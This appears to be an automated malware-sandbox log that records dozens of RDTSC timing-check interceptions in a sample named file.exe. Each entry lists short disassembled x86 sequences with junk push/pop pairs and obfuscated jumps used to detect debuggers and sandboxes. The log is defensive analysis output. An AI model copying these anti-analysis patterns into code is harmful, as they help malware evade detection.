Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F109 second address: 105F119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F39B477F4D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063B65 second address: 1063B6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063B6C second address: 1063B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B477F4DBh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jbe 00007F39B477F4D6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063B8B second address: 1063B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063CD5 second address: 1063CEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F39B477F4E0h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063CEE second address: 1063D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7F5h 0x00000009 popad 0x0000000a pop esi 0x0000000b push ebx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1063D0D second address: 1063D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064017 second address: 1064036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B537D7F5h 0x00000009 jg 00007F39B537D7E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064036 second address: 106403C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10637A2 second address: 10637A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064417 second address: 106441C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106457D second address: 1064581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064581 second address: 106459F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F39B477F4EAh 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F39B477F4D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067F16 second address: 1067F29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7EDh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067F29 second address: 1067F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067F2D second address: 1067F5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F39B537D7F5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F39B537D7EFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1067F5B second address: 1067F8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B477F4E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F39B477F4E5h 0x0000000e jnl 00007F39B477F4D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DA34 second address: 106DA43 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F39B537D7E8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C534 second address: 106C541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007F39B477F4E2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C541 second address: 106C547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C663 second address: 106C667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C667 second address: 106C687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F39B537D7EAh 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jnp 00007F39B537D7F2h 0x00000018 jnl 00007F39B537D7E6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C687 second address: 106C68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C68B second address: 106C6AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C6AA second address: 106C6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C7F3 second address: 106C7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F39B537D7E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106CC5D second address: 106CC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106CC61 second address: 106CC6B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F39B537D7E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106CC6B second address: 106CC70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D0EB second address: 106D111 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F39B537D7E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F39B537D7ECh 0x00000010 popad 0x00000011 jl 00007F39B537D805h 0x00000017 pushad 0x00000018 jbe 00007F39B537D7E6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D3FD second address: 106D407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F39B477F4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D407 second address: 106D419 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F39B537D7E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106D419 second address: 106D434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F39B477F4E1h 0x0000000c jmp 00007F39B477F4DBh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032437 second address: 103243B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032943 second address: 1032949 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032949 second address: 10329CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jng 00007F39B537D7F4h 0x00000013 jmp 00007F39B537D7EEh 0x00000018 mov eax, dword ptr [eax] 0x0000001a push ecx 0x0000001b jmp 00007F39B537D7ECh 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a pop eax 0x0000002b popad 0x0000002c jmp 00007F39B537D7F8h 0x00000031 popad 0x00000032 pop eax 0x00000033 mov ecx, dword ptr [ebp+12473308h] 0x00000039 push 1BEEEC55h 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F39B537D7F2h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10329CD second address: 10329D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F39B477F4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032AC5 second address: 1032ACA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032B23 second address: 1032B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], esi 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F39B477F4D8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 jmp 00007F39B477F4E3h 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F39B477F4DDh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032B7A second address: 1032B8D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F39B537D7E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032B8D second address: 1032B93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032C3C second address: 1032C6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jnc 00007F39B537D7E6h 0x00000010 pop ecx 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 ja 00007F39B537D7F4h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032C6E second address: 1032C72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032C72 second address: 1032C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jbe 00007F39B537D7E8h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032E10 second address: 1032E16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032E16 second address: 1032E5A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F39B537D7E8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 push 00000004h 0x00000027 or edi, 3BEAB406h 0x0000002d nop 0x0000002e pushad 0x0000002f je 00007F39B537D7E8h 0x00000035 push edx 0x00000036 pop edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032E5A second address: 1032E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1032E5E second address: 1032E81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jc 00007F39B537D801h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F39B537D7F3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10331C9 second address: 10331E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B477F4E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10331E0 second address: 1033245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F39B537D7E8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov edx, dword ptr [ebp+122D2D62h] 0x0000002b sub dword ptr [ebp+122D203Eh], esi 0x00000031 push 0000001Eh 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F39B537D7E8h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d pushad 0x0000004e mov ebx, 71E39BF0h 0x00000053 popad 0x00000054 nop 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033245 second address: 1033249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033249 second address: 103324F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103351C second address: 103353D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F39B477F4E7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10335F9 second address: 1033669 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F39B537D7E8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 lea eax, dword ptr [ebp+12487174h] 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007F39B537D7E8h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 and di, AD35h 0x00000049 nop 0x0000004a push ecx 0x0000004b jl 00007F39B537D7E8h 0x00000051 pushad 0x00000052 popad 0x00000053 pop ecx 0x00000054 push eax 0x00000055 push edi 0x00000056 push eax 0x00000057 push edx 0x00000058 jg 00007F39B537D7E6h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033669 second address: 103366D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072D41 second address: 1072D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072D4A second address: 1072D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072ECE second address: 1072ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072ED2 second address: 1072ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1072ED7 second address: 1072EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7F6h 0x00000009 jbe 00007F39B537D7E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107330A second address: 107330E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10791B0 second address: 10791B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10791B4 second address: 10791D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F39B477F4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F39B477F4E4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10791D6 second address: 1079201 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F39B537D7EFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F39B537D7F2h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107B960 second address: 107B965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BAAA second address: 107BAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F39B537D7E6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BAB5 second address: 107BAC5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F39B477F4DAh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BAC5 second address: 107BAC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F35D second address: 107F361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F361 second address: 107F387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F39B537D7FEh 0x0000000e jmp 00007F39B537D7F6h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F387 second address: 107F38C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F38C second address: 107F3A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7EDh 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F671 second address: 107F67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084FA5 second address: 1084FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084FAB second address: 1084FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F39B477F4D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084FBA second address: 1084FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084FCD second address: 1084FEF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F39B477F4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F39B477F4D8h 0x00000010 popad 0x00000011 jng 00007F39B477F4E8h 0x00000017 push ebx 0x00000018 jnp 00007F39B477F4D6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085293 second address: 10852B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 jno 00007F39B537D7E6h 0x0000000f jno 00007F39B537D7E6h 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007F39B537D7E6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10852B3 second address: 10852B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A1B2 second address: 108A1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B537D7F9h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A5EE second address: 108A5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A5F9 second address: 108A60B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B537D7ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A60B second address: 108A611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1033002 second address: 103302F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D22F3h], edx 0x0000000d mov ebx, dword ptr [ebp+1248716Fh] 0x00000013 mov edi, dword ptr [ebp+122D2F9Ah] 0x00000019 add eax, ebx 0x0000001b sub ecx, dword ptr [ebp+122D2C32h] 0x00000021 add edi, 416F2F32h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103302F second address: 1033034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108AA3B second address: 108AA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108B3A9 second address: 108B3C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F39B477F4D6h 0x0000000a jmp 00007F39B477F4DFh 0x0000000f rdtsc
